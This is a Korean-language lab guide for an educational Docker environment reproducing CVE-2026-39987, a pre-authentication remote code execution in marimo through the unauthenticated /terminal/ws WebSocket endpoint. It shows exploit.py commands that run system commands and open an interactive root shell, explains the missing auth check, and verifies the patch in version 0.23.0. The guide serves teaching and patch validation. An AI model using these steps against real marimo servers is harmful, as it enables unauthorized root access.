
# CVE-2026-39987 교육용 Docker 랩 marimo의 WebSocket 인증 우회를 통한 사전 인증 RCE(원격 코드 실행) 취약점을 시연하는 교육용 Docker 랩으로, 익스플로잇 스크립트와 패치 검증 단계를 포함합니다.
터미널 WebSocket 인증 우회를 통한 사전 인증 원격 코드 실행
marimo의 이 치명적인 취약점을 이해하고, 재현하며, 패치하는 방법을 배우기 위한 교육용 Docker 실습 환경입니다.
| 공격 대상 | 토큰 인증이 활성화된 edit 모드로 실행 중인 marimo <= 0.20.4 |
| 공격자 | Python 3 및 websocket-client가 설치된 모든 호스트 |
| 목표 | 인증 토큰 없이 /terminal/ws를 통해 대화형 루트 셸 획득 |
| 유형 | 인증 우회 → 원격 코드 실행(RCE) |
| 패치 | marimo >= 0.23.0 |
⚠️ 윤리적 사용 안내: 이 실습 환경은 보안 연구자, 개발자, 학생들이 인증 우회 취약점이 어떻게 발생하는지, 그리고 이를 올바르게 수정하는 방법을 이해하도록 설계되었습니다. 격리된 환경에서만 실행하세요.
┌─────────────────────────────────────────────────────────────┐
│ Docker 네트워크 │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (공격 대상) │ │ (공격자) │ │
│ │ 포트: 2718 │ │ Python 3.12 │ │
│ │ 인증: 토큰 │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
이 실습 환경의 파일:
| 파일 | 용도 |
|---|---|
Dockerfile.target | 취약한 marimo 서버 빌드 |
docker-compose.yml | 공격 대상 및 공격자 컨테이너 오케스트레이션 |
exploit.py |
# 저장소 클론
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# 실습 환경 시작
docker-compose up --build -d
# 익스플로잇 실행
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# 대화형 셸 획득
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# 작업 디렉터리를 만들고 다음 파일들을 넣으세요:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# 공격 대상 빌드 및 시작
docker-compose up --build -d
# 공격 대상 실행 확인
docker ps
# 다음이 표시되어야 합니다: marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
어떤 일이 일어나나요:
0.20.4(취약한 버전) 컨테이너를 빌드합니다.--token 인증을 명시적으로 활성화한 edit 모드로 시작됩니다.2718이 호스트에 노출됩니다.익스플로잇 전에, 정상적인 엔드포인트에서 공격 대상이 제대로 보호되고 있는지 확인해 봅시다:
# 브라우저 또는 curl로 메인 UI에 접속 시도
curl -s http://127.0.0.1:2718/
# 예상 결과: 로그인 페이지로 리다이렉트 또는 401/403 (토큰 필요)
# 토큰 없이 메인 WebSocket(/ws)에 접속 시도
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# 예상 결과: 인증 누락으로 연결 거부 또는 즉시 종료
핵심 관찰: 메인 애플리케이션 엔드포인트는 인증을 올바르게 강제합니다. 취약점은 간과된 보조 엔드포인트에 있습니다.
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
예상 출력:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
임의의 시스템 명령을 실행할 수 있는 $ 프롬프트가 표시됩니다:
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
이 취약점은 WebSocket 엔드포인트 간의 일관되지 않은 인증 검사 때문에 발생합니다:
┌─────────────────────────────────────────────────────────────────┐
│ 인증 미들웨어 (Starlette) │
│ ├── 인증되지 않은 연결을 "UnauthenticatedUser"로 표시 │
│ └── WebSocket 연결을 자동으로 닫지 않음 │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (메인) │ │ /terminal/ws │
│ │ │ (터미널) │
│ ✓ validate_auth()│ │ ✗ 인증 검사 없음 │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ 인증 안 된 사용자 거부 │ │ ✓ 즉시 수락 │
└──────────────────┘ └──────────────────┘
인증 미들웨어(Starlette AuthenticationMiddleware)는 인증되지 않은 연결을 UnauthenticatedUser로 표시하지만 WebSocket 연결을 자동으로 닫지는 않습니다.
올바른 엔드포인트(예: /ws)는 validate_auth()를 호출하거나 @requires("edit")를 사용하여 인증되지 않은 클라이언트를 거부합니다.
취약한 엔드포인트(/terminal/ws)는 다음만 확인합니다:
SessionMode.EDIT — 서버가 edit 모드인지 확인supports_terminal() — 터미널 기능 사용 가능 여부 확인await websocket.accept()를 호출합니다.영향: pty.fork()가 서버 사용자(기본 Docker 이미지에서는 root)로 실행되는 전체 PTY 셸을 생성하여 공격자에게 완전한 시스템 액세스 권한을 부여합니다.
패치는 /terminal/ws 엔드포인트에 적절한 인증 검증을 추가하여 다른 엔드포인트의 보안 수준과 일치하도록 합니다.
공격 대상을 패치된 버전으로 업그레이드하고 익스플로잇을 다시 실행하여 수정 사항을 확인합니다:
# Dockerfile.target 편집: marimo==0.20.4를 marimo==0.23.0으로 변경
# 또는 다음 명령 사용: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# 익스플로잇 다시 시도
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
패치 후 예상 결과:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
이제 연결이 즉시 거부/종료되며 셸을 획득할 수 없습니다. ✅
# 컨테이너 중지 및 제거
docker-compose down -v
# 빌드된 이미지 제거
docker rmi cve-lab_target
# 남은 이미지 정리
docker image prune -f
교육 목적으로 제작되었습니다. 책임감 있게 사용하세요. 🔒
| PoC 익스플로잇 스크립트(단일 명령 + 대화형 모드) |
LAB_GUIDE.md | 이 가이드 |
| 문제 | 해결 방법 |
|---|
Connection refused | 컨테이너가 실행 중인지 확인: docker ps 및 docker logs marimo-vulnerable로 로그 확인 |
ModuleNotFoundError: No module named 'websocket' | 클라이언트 설치: pip install websocket-client |
| 익스플로잇 출력 없음 | 타임아웃 증가: python exploit.py ... --timeout 20 |
| 컨테이너가 즉시 종료됨 | Dockerfile 구문 확인 및 test.py 노트북이 제대로 생성되었는지 확인 |
| 권한 거부 | Docker 데몬이 실행 중이고 적절한 권한이 있는지 확인 |